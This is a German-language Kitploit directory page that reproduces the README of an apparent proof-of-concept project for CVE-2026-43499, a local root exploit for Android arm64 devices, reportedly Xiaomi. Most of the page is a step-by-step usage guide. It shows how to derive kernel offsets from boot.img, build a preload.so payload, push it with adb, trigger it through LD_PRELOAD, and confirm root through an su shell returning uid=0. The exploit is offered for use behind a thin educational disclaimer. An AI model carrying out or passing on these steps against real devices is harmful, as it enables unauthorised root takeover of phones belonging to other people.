Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-43499-Poc-Analysis — Schwachstellenanalyse und Proof of Concept (PoC) für CVE-2026-43499, das Xiaomi-Geräte betrifft. Nur für Bildungs- und Forschungszwecke. | Kitploit
Tools/GitHubGitHub/xianwan1314/cve-2026-43499-poc-analysis
Android-SicherheitPrivilege EscalationSchwachstellenanalyseExploitationPayload-EntwicklungBinary-Exploitation
GitHubxianwan1314/cve-2026-43499-poc-analysis

CVE-2026-43499-Poc-Analysis

Schwachstellenanalyse und Proof of Concept (PoC) für CVE-2026-43499, das Xiaomi-Geräte betrifft. Nur für Bildungs- und Forschungszwecke.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
1047vor 1 MonatNoch nicht geprüft

CVE-2026-43499 Android arm64 Lokale Rechteausweitung – Anpassung

Englisch | Chinesisch


Dies ist ein Anpassungsprojekt für die lokale Rechteausweitung unter Android arm64 für CVE-2026-43499.

Das Projekt generiert basierend auf der boot.img und den Profilinformationen des Zielgeräts eine target.h und kompiliert dann das entsprechende preload.so.

Hinweis: Dieses Projekt ist ein allgemeines Anpassungsframework und nicht an ein bestimmtes Gerätemodell gebunden. Ob es tatsächlich funktioniert, hängt davon ab, ob generate_target.py erfolgreich target.h generieren kann, sowie von den Testergebnissen auf dem echten Gerät.


Verzeichnisstruktur

root@kitploit:~
Projektverzeichnis/
├── boot.img                  # Boot-Image der gleichen Firmware des Zielgeräts
├── profile_xxx.json           # Profil des Zielgeräts
├── detect_offset.py           # Zum Erkennen des Profils
├── generate_target.py         # Zum Generieren von target.h
├── source/
│   ├── Makefile
│   └── src/
│       └── target.h           # Automatisch generiert
└── source/build/bin/
    └── preload.so             # Kompilierungsergebnis

Benötigte Abhängigkeiten

Basisabhängigkeiten

root@kitploit:~
Python 3
LLVM / llvm-objdump
Android NDK
make
adb

Empfohlene Umgebung unter Windows

Unter Windows wird Folgendes empfohlen:

root@kitploit:~
MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64

make in MSYS2 installieren:

root@kitploit:~
pacman -S make coreutils

Vorbereitende Dateien

Du benötigst:

root@kitploit:~
boot.img
profile_xxx.json

Beispiel für ein Profil:

root@kitploit:~
{
  "p0_phys_offset": "0x80000000",
  "p0_kernel_phys_load": "0xc7800000"
}

Diese beiden Adressen im Profil:

root@kitploit:~
p0_phys_offset
p0_kernel_phys_load

können auf einem bereits gerooteten Gerät mit der gleichen Firmware wie das Ziel-boot.img durch Ausführen des Skripts ermittelt werden:

root@kitploit:~
python3 detect_offset.py

Auch unter Windows möglich:

root@kitploit:~
python detect_offset.py

Verwendungsschritte

1. Ins Projektverzeichnis wechseln

Linux / macOS:

root@kitploit:~
cd /pfad/zum/projekt

Windows MSYS2 Beispiel:

root@kitploit:~
cd /d/unlockProject/CVE/CVE-2026-43499-xxxxxx-main

2. NDK-Pfad setzen

Linux / macOS Beispiel:

root@kitploit:~
export ANDROID_NDK_HOME=/pfad/zum/android-ndk

Windows MSYS2 Beispiel:

root@kitploit:~
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29

3. target.h generieren

root@kitploit:~
python3 generate_target.py \
  --boot boot.img \
  --profile profile_xxx.json \
  -o source/src/target.h

Unter Windows, falls python3 nicht verfügbar ist, verwende:

root@kitploit:~
python generate_target.py \
  --boot boot.img \
  --profile profile_xxx.json \
  -o source/src/target.h

Wenn eine Meldung erscheint, dass llvm-objdump nicht gefunden wird, gib den Pfad manuell an:

root@kitploit:~
python generate_target.py \
  --boot boot.img \
  --profile profile_xxx.json \
  -o source/src/target.h \
  --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"

Bei Erfolg wird eine ähnliche Ausgabe angezeigt:

root@kitploit:~
Erfolgreich generiert: .../source/src/target.h
Kernel SHA-256: ...
Target-Makros: ...

4. preload.so kompilieren

Linux / macOS:

root@kitploit:~
make -C source clean preload

Windows MSYS2:

root@kitploit:~
make -C source clean preload NDK_PREBUILT=windows-x86_64

Bei Erfolg wird Folgendes generiert:

root@kitploit:~
source/build/bin/preload.so

5. Auf das Gerät übertragen und ausführen

root@kitploit:~
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'

Überprüfung:

root@kitploit:~
adb shell '/data/local/tmp/su -c id'

Bei Erfolg wird in der Regel Folgendes angezeigt:

root@kitploit:~
uid=0(root) gid=0(root)

Ein-Schritt-Ablauf unter Windows MSYS2

Gemäß deinem Pfadbeispiel:

root@kitploit:~
cd /d/unlockProject/CVE/CVE-2026-43499-annibale-main
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
python generate_target.py --boot boot.img --profile profile_xxx.json -o source/src/target.h --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
make -C source clean preload NDK_PREBUILT=windows-x86_64

Enddatei:

root@kitploit:~
source/build/bin/preload.so

Häufig gestellte Fragen

llvm-objdump nicht gefunden

LLVM installieren oder verwende:

root@kitploit:~
--llvm-objdump "/pfad/zu/llvm-objdump"

make nicht gefunden

Unter Windows MSYS2 installieren:

root@kitploit:~
pacman -S make coreutils

clang nicht gefunden

Meist liegt es daran, dass der NDK-Pfad nicht richtig gesetzt ist.

Windows MSYS2 Beispiel:

root@kitploit:~
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64

target.h-Generierung fehlgeschlagen

Meist bedeutet das, dass das aktuelle boot.img oder das Kernel-Layout noch nicht erfolgreich angepasst werden konnte.

Wichtige Überprüfungspunkte:

root@kitploit:~
Ist boot.img vollständig?
Ist das Profil korrekt?
Ist llvm-objdump verfügbar?
Hat der Kernel IKCONFIG / kallsyms / BTF?

Hinweise

  • Nach einem Wechsel des Geräts, des Systems oder des Kernels muss target.h neu generiert werden.
  • Es wird nicht empfohlen, target.h manuell zu ändern; es sollte von generate_target.py automatisch generiert werden.
  • Verwende dies nur auf Geräten und in Umgebungen, für die du berechtigt bist.
Tool herunterladen